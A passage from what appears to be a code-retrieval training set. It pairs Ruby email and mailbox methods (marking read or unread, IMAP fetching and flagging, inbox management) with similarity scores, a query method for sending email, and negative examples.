"def mark_all_read\r\n @channel.mark_messages_read_for current_user\r\n respond_to do |format|\r\n format.html { redirect_to channel_messages_url(@channel), notice: 'Nachrichten als gelesen markiert.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def mark_as_unread()\n update_attribute('read', false)\n end",
"def get_messages where = \"inbox\", opts = {}\n query = {\n mark: false\n }\n query.merge! opts\n get(\"/message/#{where}.json\", query: query)\n end",
"def set_unread_message_count\n self.unread_messages = 1\n end",
"def flag\n @conversation = @admin.mailbox.conversations.find(params[:id])\n @conversation.update_column :flagged, params[:flag]\n @conversation.update_column :flagged_at, Time.now\n @conversation.update_column :mailboxer_label_id, Mailboxer::Label::CONVERSATION\n @structure.delay.compute_response_rate\n respond_to do |format|\n format.html { redirect_to pro_structure_conversations_path(@structure), notice: \"Le message a été signalé\" }\n end\n end",
"def mark_read_messages(conversation)\n time = Time.current\n conversation = Conversation.find(conversation) if conversation.is_a?(Integer)\n conversation_members.where(conversation_id: conversation).update_all(last_seen: time)\n Rails.cache.delete(conversation.get_unread_cache_key_for(id))\n Rails.cache.delete(\"user-unread_messages_count-#{id}\")\n PubSub::Publisher.new.publish_for(conversation.user_participants.where.not(id: id), 'read_messages', {id: conversation.id, seen_at: time.to_i, user_id: id}, {foreground: true})\n end",
"def get_messages\n @connection.search(@filter).each do |message|\n body = @connection.fetch(message, \"RFC822\")[0].attr[\"RFC822\"]\n begin\n @processor.process(body)\n rescue StandardError => error\n Mailman.logger.error \"Error encountered processing message: #{message.inspect}\\n #{error.class.to_s}: #{error.message}\\n #{error.backtrace.join(\"\\n\")}\"\n next\n end\n @connection.store(message, \"+FLAGS\", @done_flags)\n end\n # Clears messages that have the Deleted flag set\n @connection.expunge\n end",
"def mark(person, read)\n mr = MessageReceiver.find(:first, :conditions => [\"person_id = ? AND message_id = ?\", person.id, self.id])\n if mr == nil\n raise \"Attempting to set read status on a message and person that doesn't exist\"\n end\n mr.has_read_bool = read\n mr.save!\n end",
"def mark_unread id\n logged_in?\n post('/api/unread_message', body: {id: id, uh: @modhash, api_type: 'json'})\n end",
"def lock_messages\n maildrop.messages.all.each do |msg|\n locked_messages.create(message: msg)\n end\n end",
"def mark_as_unread\n Notifyer::Notification.all.each do |n|\n n.update(is_read: false)\n end\n redirect_to :back\n end",
"def move_to_sentbox(options={})\n update_receipts({:mailbox_type => :sentbox, :trashed => false}, options)\n end",
"def flag(uid_set, action, flg)\n log \"Flag #{uid_set} #{flg} #{action}\"\n uid_set = uid_set.split(',').map(&:to_i)\n if flg == 'Deleted'\n log \"Deleting uid_set: #{uid_set.inspect}\"\n decrement_max_seqno(uid_set.size)\n # for delete, do in a separate thread because deletions are slow\n spawn_thread_if_tty do \n unless @mailbox == mailbox_aliases['trash']\n log \"@imap.uid_copy #{uid_set.inspect} to #{mailbox_aliases['trash']}\"\n log @imap.uid_copy(uid_set, mailbox_aliases['trash'])\n end\n log \"@imap.uid_store #{uid_set.inspect} #{action} [#{flg.to_sym}]\"\n log @imap.uid_store(uid_set, action, [flg.to_sym])\n reload_mailbox\n clear_cached_message\n end\n elsif flg == 'spam' || flg == mailbox_aliases['spam'] \n log \"Marking as spam uid_set: #{uid_set.inspect}\"\n decrement_max_seqno(uid_set.size)\n spawn_thread_if_tty do \n log \"@imap.uid_copy #{uid_set.inspect} to #{mailbox_aliases['spam']}\"\n log @imap.uid_copy(uid_set, mailbox_aliases['spam']) \n log \"@imap.uid_store #{uid_set.inspect} #{action} [:Deleted]\"\n log @imap.uid_store(uid_set, action, [:Deleted])\n reload_mailbox\n clear_cached_message\n end\n else\n log \"Flagging uid_set: #{uid_set.inspect}\"\n spawn_thread_if_tty do\n log \"@imap.uid_store #{uid_set.inspect} #{action} [#{flg.to_sym}]\"\n log @imap.uid_store(uid_set, action, [flg.to_sym])\n end\n end\n end",
"def mark_as_read(obj)\n case obj\n when Mailboxer::Receipt\n obj.mark_as_read if obj.receiver == self\n when Mailboxer::Message, Mailboxer::Notification\n obj.mark_as_read(self)\n when Mailboxer::Conversation\n obj.mark_as_read(self)\n when Array\n obj.map{ |sub_obj| mark_as_read(sub_obj) }\n end\n end",
"def set_inbox_favourited(inbox_id, set_inbox_favourited_options, opts = {})\n data, _status_code, _headers = set_inbox_favourited_with_http_info(inbox_id, set_inbox_favourited_options, opts)\n data\n end",
"def mails\n\n begin\n @imap = WmailImapUtils.current_imap\n \n if not @imap.blank?\n @mailbox = params['mailbox']\n @min = params['min'].to_i\n @max = params['max'].to_i\n @total = params['total'].to_i\n\n @imap.select(@mailbox)\n @mails = @imap.fetch(@total-@max..@total-@min, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n end\n rescue\n redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'\n end\n end",
"def imap_readmail\n q = Queue.new\n imap.search([imap_search_for]).each do |message_id|\n msg = imap.fetch(message_id, 'RFC822')[0].attr['RFC822']\n mail = Mail.new(msg)\n case_id = get_case_id(mail)\n e = Email.create(case_id: case_id, date: mail.date, is_sent: false, raw: MailCompressor.compress_mail(msg), to: @email_account.user_name, from: mail.from[0].to_s, subject: mail.subject, body: mail.text_part.body.to_s)\n q.push(e)\n imap.store(message_id, '+FLAGS', [:Seen])\n end\n return q\n end",
"def set_inbox_item\n @inbox_item = InboxItem.find(params[:id])\n end",
"def mark(msg)\n tag_object(msg, commits.last.id)\n end",
"def pinned_messages=(value)\n @pinned_messages = value\n end",
"def create_inbox_with_options(create_inbox_dto, opts = {})\n data, _status_code, _headers = create_inbox_with_options_with_http_info(create_inbox_dto, opts)\n data\n end",
"def mark_as_read\n payload = { \"chat\" => [id] }.to_json\n path = \"/#{api_prefix}/user/#{client.user.id}/rooms/#{room_id}/unreadItems\"\n\n client.post path, payload\n\n true\n end",
"def mark_as_read\n @notifications = Notification.where(recipient: current_user).unread\n @notifications.update_all(read_at: Time.zone.now)\n render json: {success: true}\n end",
"def archive!\n remove_label(@gmail.inbox_label)\n end",
"def mailbox_list\n begin\n @imap = WmailImapUtils.current_imap\n folder_list = WmailImapUtils.get_mailbox_list\n @folders_count_hash = Hash[ folder_list.map do |a|\n [a.name, @imap.status(a.name, [\"UNSEEN\"])[\"UNSEEN\"]] unless a.name == \"[Gmail]\"\n end ]\n rescue\n respond_to do|format|\n format.html {redirect_to authenticate_wmail_accounts_path(:redirect => params),\n :alert => 'Connection Lost. Please login to your account'}\n format.js {render :js => \"window.location = '\" + authenticate_wmail_accounts_path(:redirect => params) + \"';\"}\n end\n end\n end",
"def delMail(imap, folder)\n pp \"Emptying #{folder}..\"\n message_ids = imap.uid_search(\"ALL\")\n imap.uid_store(message_ids, \"+FLAGS\", [:Deleted])\n imap.expunge\nend",
"def set_account_inbox\r\n @account_inbox = AccountInbox.find(params[:id])\r\n end",
"def mailbox\n @mailbox ||= current_user.mailbox\n end",
"def set_mailbox\n config = Configuration.instance\n maildir_format = config.maildir_format\n mailbox_class = maildir_format.capitalize + \"Mailbox\"\n class_dir = File.expand_path('../../', __FILE__) + \"/mailbox\"\n mailbox_file = File.join class_dir, maildir_format + \"_mailbox\"\n require mailbox_file\n maildir_path = config.maildir\n @mailbox = self.class.const_get(mailbox_class).new maildir_path\n end",
"def enable_inbox_replies\n client.post('/api/sendreplies', id: read_attribute(:name), state: true)\n end",
"def mailbox\n\t\t\tMarshal.load(get_mailbox)\n\t\t\t#msgs = []\n\t\t\t#get_mailbox.each { |l| msgs << l.chomp }\n\t\t\t#msgs\n\t\tend",
"def archive_inbox\r\n flash[:success] = @content.archived? ? \"Folder is already archived\".t : (\"Archived folder '%s'\" / [@content.title_long])\r\n @content.update_attribute(:archived, true)\r\n redirect_to content_url(@content)\r\n end",
"def delete_all(mailbox='INBOX')\n mailbox ||= 'INBOX'\n mailbox = Net::IMAP.encode_utf7(mailbox)\n\n start do |imap|\n imap.select(mailbox)\n imap.uid_search(['ALL']).each do |uid|\n imap.uid_store(uid, \"+FLAGS\", [Net::IMAP::DELETED])\n end\n imap.expunge\n end\n end",
"def notifyflags=(notify_flags)\r\n\t\t\t`#{BITS::BITSADMIN} /setnotifyflags {#{@id}} #{notify_flags}`\r\n\t\tend",
"def set_user_read_all(user_id, did_read)\n self.messages.each {|m| m.set_user_read(user_id, did_read)}\n end",
"def inbox_type=(inbox_type)\n validator = EnumAttributeValidator.new('String', [\"HTTP_INBOX\", \"SMTP_INBOX\"])\n unless validator.valid?(inbox_type)\n fail ArgumentError, \"invalid value for \\\"inbox_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @inbox_type = inbox_type\n end",
"def watchMail(imap, folder)\n \n # Loop for checking message increase in the folder\n begin\n \n imap.select(folder)\n \n # Get the current folder size\n fsize = imap.status(folder, [\"MESSAGES\"])\n csize = fsize[\"MESSAGES\"]\n \n loop do\n fsize = imap.status(folder, [\"MESSAGES\"])\n if fsize[\"MESSAGES\"] > csize\n message_ids = imap.uid_search(\"ALL\")\n uid = message_ids.last\n email = imap.uid_fetch(uid, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n pp \"[#{email.from[0].name}] #{email.subject}\"\n csize = fsize[\"MESSAGES\"]\n else\n sleep(10)\n end\n end\n rescue => e\n exit(1)\n end\nend",
"def inbox\n @direct_messages = current_user.received_messages.where(_type: 'DirectMessage')\n respond_with @direct_messages\n end",
"def add_to_inbox__do_add\r\n @inbox = params[:inbox] ? Inbox.active.find(params[:inbox]) : @for_inbox\r\n if @inbox && @inbox.accepts?(@content) && !@content.inboxes.include?(@inbox) && !@inbox.archived?\r\n @inbox_item = InboxItem.new(:inbox_id => @inbox.id, :content_id => @content.id,\r\n :allow_take_to_showcase => @inbox.require_allowing_content_adoption? ? true : params[:allow_take_to_showcase],\r\n :user_id => current_actor.id, :original_content_id => @content.original_content_id)\r\n if @inbox_item.save\r\n Activity.send_message(@inbox_item, current_actor, :submitted_to_inbox)\r\n Activity.send_message(@inbox_item, current_actor, :inbox_submission_received)\r\n else\r\n respond_to do |wants|\r\n wants.html { flash[:warning] = \"Your content has been added to your account, but not to '{{name}}' inbox. Reason: {{reason}}\" / [@inbox.title, @inbox_item.errors.full_messages.join(';')]}\r\n wants.js {}\r\n end\r\n end\r\n end\r\n end",
"def sync\n imap = imap_login\n imap.search([\"NOT\", \"SEEN\"]).each do |message_id|\n envelope = imap.fetch(message_id, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n puts \"#{envelope.from[0].name}: \\t#{envelope.subject}\"\n\n # TODO right now we are hardcoding the regex's which are used in matching\n # and extracting data out of the incoming mail, at some point this\n # should be customizable by the end user\n\n # TODO we are assuming that all messages matching the criteria retrieved\n # from this imap account belong to this mailing list\n\n # handle subscription confirmation\n if envelope.subject =~ /^\\s*confirm\\s*([a-f0-9]*)\\s*$/\n puts \"confirm subscription #{$1}\"\n smtp = smtp_login\n message = message_for :address => request_address, :subject => \"confirm #{$1}\", :body => \"confirm #{$1}\"\n smtp.send_message message, @smtp_username, request_address\n smtp.finish\n\n # handle received patches\n elsif envelope.subject =~ /^\\s*\\[PATCH[^\\]]*\\]\\s*#([0-9]*).*$/i\n puts \"Received patch #{$2}\"\n puts \" Associating w/ issue ##{$1}\"\n\n issue = Issue.find $1\n patch = Patch.new :issue_id => issue.id,\n :mailing_list_id => self.id,\n :message_id => envelope.headers['Message-Id'],\n :subject => $2,\n :content => envelope.body\n patch.save!\n\n issue.status = IssueStatus.find_by_name(\"In Progress\")\n issue.save!\n\n # handle chained patches (first one may be the only one w/ the issue id)\n elsif envelope.subject =~ /^\\s*\\[PATCH[^\\]]*\\].*$/i\n # TODO handle multiple levels of patch replies\n parent_message_id = envelope.headers['In-Reply-To']\n parent_patch = Patch.find_by_message_id(parent_message_id)\n\n puts \"Received chained patch #{$2}\"\n puts \" Associating w/ issue ##{parent_patch.issue_id} (parent patch ##{parent_patch.id})\"\n\n patch = Patch.new :issue_id => parent_patch.issue_id,\n :mailing_list_id => self.id,\n :patch_id => parent_patch.id,\n :message_id => envelope.headers['Message-Id'],\n :subject => $2,\n :content => envelope.body\n\n patch.save!\n\n issue.status = IssueStatus.find_by_name(\"In Progress\")\n issue.save!\n\n # handle received patch comments\n elsif envelope.subject =~ /^\\s*RE:\\s*\\[PATCH[^\\]]*\\]\\s*#([0-9]*).*$/i\n # TODO handle multiple levels of replies\n parent_message_id = envelope.headers['In-Reply-To']\n parent_patch = Patch.find_by_message_id(parent_message_id)\n\n puts \"Received response to patch #{$2}\"\n puts \" Associating w/ patch ##{parent_patch.id}\"\n\n patch_comment = PatchComment.new :patch_id => parent_patch.id,\n :message_id => envelope.headers['Message-Id'],\n :content => envelope.body\n\n status = if envelope.body =~ /.*NACK.*/i\n IssueStatus.find_by_name(\"Rejected\")\n elsif envelope.body =~ /.*ACK.*/i\n IssueStatus.find_by_name(\"Resolved\")\n else\n IssueStatus.find_by_name(\"Feedback\")\n end\n\n issue.status = status\n issue.save!\n end\n\n\n end\n end",
"def mark_as_read_message(safebox, message)\n raise SendSecureException.new(\"SafeBox GUID cannot be null\") if safebox.guid.nil?\n raise SendSecureException.new(\"Message cannot be null\") if message.nil?\n @json_client.mark_as_read_message(safebox.guid, message.id)\n end",
"def delete_all(mailbox='INBOX')\n mailbox ||= 'INBOX'\n mailbox = Net::IMAP.encode_utf7(mailbox)\n\n start do |imap|\n info \"delete_all block\"\n info \"imap.uid_search #{batch} #{\"ALL\"}\"\n imap.uid_search(['ALL']).each do |uid|\n info \"imap.uid_store #{uid} #{\"+FLAGS\"} #{[Net::IMAP::DELETED]}\"\n imap.uid_store(uid, \"+FLAGS\", [Net::IMAP::DELETED])\n end\n info \"imap.expunge\"\n imap.expunge\n end\n end",
"def set_mail_item\n @mail_item = MailItem.find(params[:id])\n can_access?(@mail_item)\n end",
"def find_in_batches(options={}, &block)\n options[:count] ||= :all\n options = validate_options(options)\n mailbox = options[:mailbox]\n batch_size = options.delete(:batch_size) || 10\n\n start do |imap|\n info \"find_in_batches block\"\n info \"imap.examine/select #{options[:mailbox]}\"\n options[:read_only] ? imap.examine(options[:mailbox]) : imap.select(options[:mailbox])\n\n info \"imap.responses #{\"UIDVALIDITY\"}\"\n validity = imap.responses[\"UIDVALIDITY\"].first\n info \"imap.uid_search #{options[:keys]}\"\n uids = imap.uid_search(options[:keys])\n uids.replace(options[:what].to_sym == :last ? uids.last(options[:count]) : uids.first(options[:count])) if options[:count].is_a?(Integer)\n\n if block_given?\n uids.each_slice(batch_size) do |batch|\n results = []\n info \"imap.uid_fetch #{batch} #{\"(UID FLAGS RFC822.SIZE INTERNALDATE RFC822 BODY.PEEK[HEADER.FIELDS (MESSAGE-ID)])\"}\"\n imap.uid_fetch(batch, \"(UID FLAGS RFC822.SIZE INTERNALDATE RFC822 BODY.PEEK[HEADER.FIELDS (MESSAGE-ID)])\").each do |data|\n uid = data.attr['UID'].to_i\n flags = data.attr['FLAGS'].map {|flag| flag.to_s.downcase.to_sym}\n message_size = data.attr['RFC822.SIZE'].to_i\n message_date = Time.parse(data.attr['INTERNALDATE'])\n rfc822 = data.attr['RFC822']\n results << Message.new(rfc822,{folder: mailbox, validity: validity, uid: uid, flags: flags, message_size: message_size, message_date: message_date})\n end\n info \"imap.uid_store #{batch} #{\"+FLAGS\"} #{[Net::IMAP::DELETED]}\" if options[:delete_after_find]\n imap.uid_store(batch, \"+FLAGS\", [Net::IMAP::DELETED]) if options[:delete_after_find]\n yield results\n end\n info \"imap.expunge\" if options[:delete_after_find]\n imap.expunge if options[:delete_after_find]\n end\n end\n end"
] |
[
"0.7403385",
"0.6985612",
"0.6520341",
"0.6278484",
"0.6079888",
"0.60192335",
"0.5938525",
"0.5929803",
"0.58774346",
"0.5876065",
"0.5719986",
"0.5640212",
"0.55904806",
"0.5582521",
"0.55778646",
"0.5565348",
"0.55587095",
"0.54969263",
"0.54630613",
"0.54630613",
"0.54388446",
"0.5403417",
"0.5392352",
"0.53842026",
"0.53784245",
"0.53650486",
"0.5362314",
"0.53536284",
"0.53536284",
"0.535066",
"0.53504276",
"0.53466094",
"0.5321997",
"0.5310791",
"0.52881086",
"0.5262742",
"0.5256654",
"0.521558",
"0.5196127",
"0.5196127",
"0.5169577",
"0.51571995",
"0.51555085",
"0.5154036",
"0.5153975",
"0.5148546",
"0.5128735",
"0.51258117",
"0.5121191",
"0.51108617",
"0.5097709",
"0.5096577",
"0.508719",
"0.5085934",
"0.50854135",
"0.5065458",
"0.5052272",
"0.5047679",
"0.50090253",
"0.5006572",
"0.49953884",
"0.4985784",
"0.49621388",
"0.49607223",
"0.49417824",
"0.4918784",
"0.4911217",
"0.49094954",
"0.49072856",
"0.4894835",
"0.4885751",
"0.4879386",
"0.48715964",
"0.48675537",
"0.48479572",
"0.4842803",
"0.4836647",
"0.48182914",
"0.4808423",
"0.48029613",
"0.47998738",
"0.4794714",
"0.4765855",
"0.47604138",
"0.47486922",
"0.47409442",
"0.47389704",
"0.47314847",
"0.47314405",
"0.4729527",
"0.47269547",
"0.47263455",
"0.47252724",
"0.47231305",
"0.47184017",
"0.4710049",
"0.47014067",
"0.4683785",
"0.46754625",
"0.4671954"
] |
0.7488953
|
0
|
from_address, to_address, subject, htmlBody, textBody
|
def sendWithStatus (parameters = {})
return $server.call("APIEmailService.sendEmailWithStatus", $api_key, parameters[:from], parameters[:to], parameters[:cc]||="", parameters[:bcc]||="",parameters[:subject], parameters[:text], parameters[:html])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_mailtext\n to = URI.decode_www_form_component(@to)\n head = ''\n body = ''\n @headers.each do |x|\n case x[0]\n when 'body'\n body = URI.decode_www_form_component(x[1])\n when 'to'\n to << ', ' + URI.decode_www_form_component(x[1])\n else\n head << URI.decode_www_form_component(x[0]).capitalize + ': ' +\n URI.decode_www_form_component(x[1]) + \"\\n\"\n end\n end\n\n \"To: #{to}\n#{head}\n#{body}\n\"\n end",
"def to_s\n \"From: #{self.from_user} - #{self.body}\"\n end",
"def general_email(addresses, subject_line, body_content, article_content=nil)\n \n if article_content != nil\n attachments.inline['attachment.txt'] = article_content\n end \n \n @content = body_content\n \n #TODO check that email is creatible, ie has valid addresses\n mail(:to => addresses, :subject => subject_line)\n \n end",
"def send_support_email(to_email, subject, body, from_email, user_first_name, user_last_name)\n @from = \"#{user_first_name} #{user_last_name} <#{from_email}>\"\n @subject = subject\n @recipients = to_email\n @body[:body] = body\n# @content_type = \"text/html\"\n end",
"def headers\n {\n :subject => %(<#{subject}>),\n\t\t\t:to => %(#{to}),\n :from => \"info@dreamyourweb.nl\"\n }\n end",
"def send(subject:, from:, to:, html: nil, text: nil)\n request do\n response =\n connection.post('',\n 'from' => from,\n 'to' => to,\n 'subject' => subject,\n 'html' => html,\n 'text' => text)\n\n parse(response.body)\n end\n end",
"def compose_email_details()\n\t email_details = \"From: \" + @email[:from].formatted.first + \"\\n\"\n email_details << \"To: \" + @email[:to].formatted.join(', ') + \"\\n\"\n if !@email.cc.nil?\n email_details << \"Cc: \" + @email[:cc].formatted.join(', ') + \"\\n\"\n end\n email_details << \"Date: \" + @email[:date].to_s + \"\\n\"\n email_details << \"Subject: \" + @email[:subject].to_s + \"\\n\"\n email_details = \"bq. \" + Mail::Encodings.unquote_and_convert_to(email_details, 'utf-8') + \"\\n\"\n email_details\n end",
"def test_mail(to)\n subject 'pol test mail'\n recipients to\n from MAIL_RECIPIENT\n part \"text/plain\" do |p|\n p.body = 'pol ist tol.'\n end\n end",
"def reply(fields)\n mail = Mail.new\n\n # fill in the from address\n mail.from = fields[:from]\n\n # fill in the reply to headers\n mail.in_reply_to = self.id\n mail.references = self.id\n\n # fill in the subject from the original email\n if self.subject =~ /^re:\\s/i\n mail.subject = self.subject\n elsif self.subject\n mail.subject = 'Re: ' + self.subject\n elsif fields[:subject]\n mail.subject = fields[:subject]\n end\n\n # fill in the subject from the original email\n mail.body = fields[:body]\n\n # gather up the to, cc, and bcc addresses\n to = []\n cc = []\n bcc = []\n\n # process 'bcc' addresses on method call\n # Do this first so can suppress such addresses in To: and Cc: fields\n if fields[:bcc]\n Array(fields[:bcc]).compact.each do |addr|\n addr = Message.liberal_email_parser(addr) if addr.is_a? String\n next if bcc.any? {|a| a.address == addr.address}\n bcc << addr\n end\n end\n\n # process 'to' addresses on method call\n if fields[:to]\n Array(fields[:to]).compact.each do |addr|\n addr = Message.liberal_email_parser(addr) if addr.is_a? String\n next if to.any? {|a| a.address = addr.address}\n to << addr\n end\n end\n\n # process 'from' addresses from original email\n self.from.addrs.each do |addr|\n next if to.any? {|a| a.address == addr.address}\n if fields[:to]\n next if cc.any? {|a| a.address == addr.address}\n next if bcc.any? {|a| a.address == addr.address} # skip if already in Bcc\n cc << addr\n else\n to << addr\n end\n end\n\n # process 'to' addresses from original email\n if self.to\n self.to.addrs.each do |addr|\n next if to.any? {|a| a.address == addr.address}\n next if cc.any? {|a| a.address == addr.address}\n next if bcc.any? {|a| a.address == addr.address} # skip if already in Bcc\n cc << addr\n end\n end\n\n # process 'cc' addresses from original email\n if self.cc\n self.cc.each do |addr|\n addr = Message.liberal_email_parser(addr) if addr.is_a? String\n next if to.any? {|a| a.address == addr.address}\n next if cc.any? {|a| a.address == addr.address}\n next if bcc.any? {|a| a.address == addr.address} # skip if already in Bcc\n cc << addr\n end\n end\n\n # process 'cc' addresses on method call\n if fields[:cc]\n Array(fields[:cc]).compact.each do |addr|\n addr = Message.liberal_email_parser(addr) if addr.is_a? String\n next if to.any? {|a| a.address == addr.address}\n next if cc.any? {|a| a.address == addr.address}\n next if bcc.any? {|a| a.address == addr.address} # skip if already in Bcc\n cc << addr\n end\n end\n\n # reformat email addresses\n mail[:to] = to.map(&:format)\n mail[:cc] = cc.map(&:format) unless cc.empty?\n mail[:bcc] = bcc.map(&:format) unless bcc.empty?\n\n # return the resulting email\n mail\n end",
"def send_email(to, subject, content)\r\n\r\n end",
"def body\n render text: fetch_email(params[:id]).body, content_type: 'text/html'\n end",
"def send_message_to_company(recipientEmail, fromEmail, subjectEmail, bodyMessage)\n @subject = subjectEmail\n @body[\"body_message\"] = bodyMessage\n @body[\"sent_to\"] = recipientEmail\n @recipients = recipientEmail\n @from = fromEmail\n @content_type = \"text/html\"\n @headers = {}\n end",
"def send_newsletter(to,sha1_id,from, newsletter_subject, description, newsletter_body)\n recipients to\n from from\n\t\tsubject newsletter_subject\n\t\tbody :description => description, :newsletter_body => newsletter_body, :site => self.site_name,:sha1_id => sha1_id,:url => self.daurl\n sent_on Time.now\n content_type \"text/html\"\n end",
"def mail_to(email_address, name = T.unsafe(nil), html_options = T.unsafe(nil), &block); end",
"def message\n \"From: <#{from}>\\nTo: <#{to}>\\nMIME-Version: 1.0\\nContent-type: text/html; charset=UTF-8\\nSubject: #{subject}\\n\\n#{code_html}\"\n end",
"def postEmail( to_email_address, reply_email_address, source_account, subject, body, html_body)\n params = Hash.new\n params['to_email_address'] = to_email_address\n params['reply_email_address'] = reply_email_address\n params['source_account'] = source_account\n params['subject'] = subject\n params['body'] = body\n params['html_body'] = html_body\n return doCurl(\"post\",\"/email\",params)\n end",
"def headers\n {\n :subject => \"#{subject}\",\n :to => \"#{to_user}\",\n :from => \"#{from_user}\",\n :bcc => \"#{bcc_list}\",\n :body => \"#{message}\"\n }\n end",
"def body\n if mail.multipart?\n mail.parts.map { |part| Nokogiri::HTML(part.body.decoded).text }.join(\"\\n\\n\")\n else\n Nokogiri::HTML(mail.body.decoded).text\n end\n end",
"def permited_params\n @params.permit(:to, :to_name, :from, :from_name, :subject, :body)\n end",
"def recipient; end",
"def email_params\n begin\n params.require(:email).permit(:sender, :recipient, :subject, :body_html, :cc, :bcc)\n rescue\n params.permit(:sender, :recipient, :subject, 'body-plain', 'stripped-html', 'body-html')\n end\n end",
"def process\n parsed = {}\n parsed[:contents] = \"#{@email.subject} ::: #{@email.body}\"\n parsed[:from] = \"#{@email.from[:email]}\"\n #[:to] is an array of hashes, since possible multiple to's\n parsed[:to] = \"#{@email.to[0][:email]}\"\n\n email_of_interest = parsed[:to]\n if !(/@/.match(parsed[:to]))\n Rails.logger.warn \"Poorly formatted email! parsed: #{parsed}\"\n end\n\n object = Person.react_to_email(email_of_interest)\n if object.class.to_s == \"Person\"\n Communication.create(person_id: object.id,\n contents: parsed[:contents],\n medium: \"email\",\n when: Date.today)\n end\n end",
"def body\n parts = []\n parts <<\n if !name.blank?\n if url.blank?\n name\n else\n \"<a href='#{sanitize_url}'>#{name}</a>\"\n end\n elsif !url.blank?\n \"[<a href='#{sanitize_url}'>website</a>]\"\n end\n parts << \"[<a href='mailto:#{sanitize_email}'>email</a>]\" if email\n parts.join(' ')\n end",
"def get_the_email_html(nline)\n\trecipient = @ws[nline, 1].to_s\n\t$mailsubject = \"A l'attention de la mairie de #{recipient}\"\n\t$html_content = \"<p> <b> A l'attention de la mairie de #{recipient} </b> </p>\n<p>Bonjour, </p>\n<p>Je m'appelle Thomas, je suis élève à une formation de code gratuite, ouverte à tous, sans restriction géographique, ni restriction de niveau. La formation s'appelle The Hacking Project (http://thehackingproject.org/). Nous apprenons l'informatique via la méthode du peer-learning : nous faisons des projets concrets qui nous sont assignés tous les jours, sur lesquel nous planchons en petites équipes autonomes. Le projet du jour est d'envoyer des emails à nos élus locaux pour qu'ils nous aident à faire de The Hacking Project un nouveau format d'éducation gratuite.\nNous vous contactons pour vous parler du projet, et vous dire que vous pouvez ouvrir une cellule à #{recipient}, où vous pouvez former gratuitement 6 personnes (ou plus), qu'elles soient débutantes, ou confirmées. Le modèle d'éducation de The Hacking Project n'a pas de limite en terme de nombre de moussaillons (c'est comme cela que l'on appelle les élèves), donc nous serions ravis de travailler avec #{recipient} ! </p>\n<p> Yann, Moussaillon de The Hacking Project</p>\" \n\nend",
"def headers\n\n {\n :subject => \"POF Details \",\n :from => %(\"#{username}\"),\n :to => 'jamray059@gmail.com',\n :bcc => \"daveskeen24@gmail.com\"\n\n }\nend",
"def basic(customer,template)\n @body = Liquid::Template.parse(template.body)\n .render(\"person\" => customer.attributes)\n mail to: customer.email, subject: template.title\n end",
"def build_email(user, list, todo)\n {\n :from => user.email,\n :to => list.title,\n :subject => todo.title,\n :text => todo.description\n }\n end",
"def text_test\n params.inspect\n # Parameters: \n # {\"ToCountry\"=>\"US\", \n # \"ToState\"=>\"UT\", \n # \"SmsMessageSid\"=>\"SM5d11339688438ea6840b1ff5cf6b3e33\", \n # \"NumMedia\"=>\"0\", \n # \"ToCity\"=>\"PARK CITY\", \n # \"FromZip\"=>\"84770\", \n # \"SmsSid\"=>\"SM5d11339688438ea6840b1ff5cf6b3e33\", \n # \"FromState\"=>\"UT\", \n # \"SmsStatus\"=>\"received\", \n # \"FromCity\"=>\"ST GEORGE\", \n # \"Body\"=>\"testing 5678\", \n # \"FromCountry\"=>\"US\", \n # \"To\"=>\"+14352141844\", \n # \"ToZip\"=>\"84098\", \n # \"NumSegments\"=>\"1\", \n # \"MessageSid\"=>\"SM5d11339688438ea6840b1ff5cf6b3e33\", \n # \"AccountSid\"=>\"ACfb03eaaab63e59c4a90d5bf07b5f6f70\", \n # \"From\"=>\"+14356691878\", \n # \"ApiVersion\"=>\"2010-04-01\"}\n from = params[:From]\n\n end",
"def correspond_mail(user, recipient, message, body_session, title_session)\n @recipient = recipient\n @sender = user\n @message = message\n @body_session = body_session\n @title_session = title_session\n\n mail(:to =>recipient.email, :subject => message.subject)\n\n end",
"def headers\n {\n :subject => \"#{subject}\",\n :to => \"tempress@temple.edu\",\n :from => %(\"#{name}\" <#{email}>)\n }\n end",
"def mailfrom(from_addr); end",
"def initialize(args)\n @to = \"#{args['to_name']} <#{args['to']}>\"\n @from = \"#{args['from_name']} <#{args['from']}>\"\n @subject = args['subject']\n @text = args['body']\n end",
"def send_email( params )\n puts \"From: #{params[:from]}\"\n puts \"To: #{params[:to]}\"\n puts \"Email subject: #{params[:subject]}\"\n puts \"Email body: #{params[:body]}\" \n return true\n end",
"def receive_email\n \n \n #if one of the to addresses matches us, use that one. todo - correctly handle mulitple emails, or correctly fail\n if params[:to].match(/group\\+(\\d+)@/) && @group = Group.find($1)\n from = params[:from]\n body = params[:plain].gsub(/^On .* wrote:$\\s*(^>.*$\\s*)+/,'') #strip out replies and whatnot\n\n if @sender = @group.students.find_by_email(from)\n @group.send_message(@sender.name+\": \"+body,@sender,[@group.user])\n elsif @group.user.email==from\n @group.send_message(@group.user.display_name+\": \"+body,@group.user)\n end\n end\n render :text => 'success', :status => 200\n end",
"def contact_pub_copy(n)\n @offer = n.item\n @user = n.user\n @msg = n.msg\n @trade = n.trade\n headers['X-SMTPAPI'] = '{\"category\": \"Publisher contacts offerer copy\"}'\n mail(:to => n.user.email, :subject => \"You sent a message!\", :from => 'TradeYa <AdminRobot@TradeYa.com>', :content_type => \"text/html\")\n end",
"def mail_params\n params.permit(:recipients, :body)\n end",
"def text_params\n {\n 'ToUserName' => 'FAKE_VALID_USERNAME',\n 'FromUserName' => 'FAKE_VALID_FROMUSERNAME',\n 'CreateTime' => '1501489767',\n 'MsgType' => 'text',\n 'Content' => 'ping', # will send a pong\n }\nend",
"def mail_method(data,email,subject)\n @body=data\n mail(to: email, subject: subject)\n end",
"def headers\n {\n :subject => \"澄清:對於#{candidate_name}的#{record_type}\",\n # :to => \"wevote@watchout.tw\",\n :to => Setting.email.clarify,\n :from => %(\"#{name}\" <#{email}>)\n }\n end",
"def mailto_body\n URI.encode(mailto_body_template.render({\n 'amount' => amount,\n 'merchant_name' => @merchant_name}))\n end",
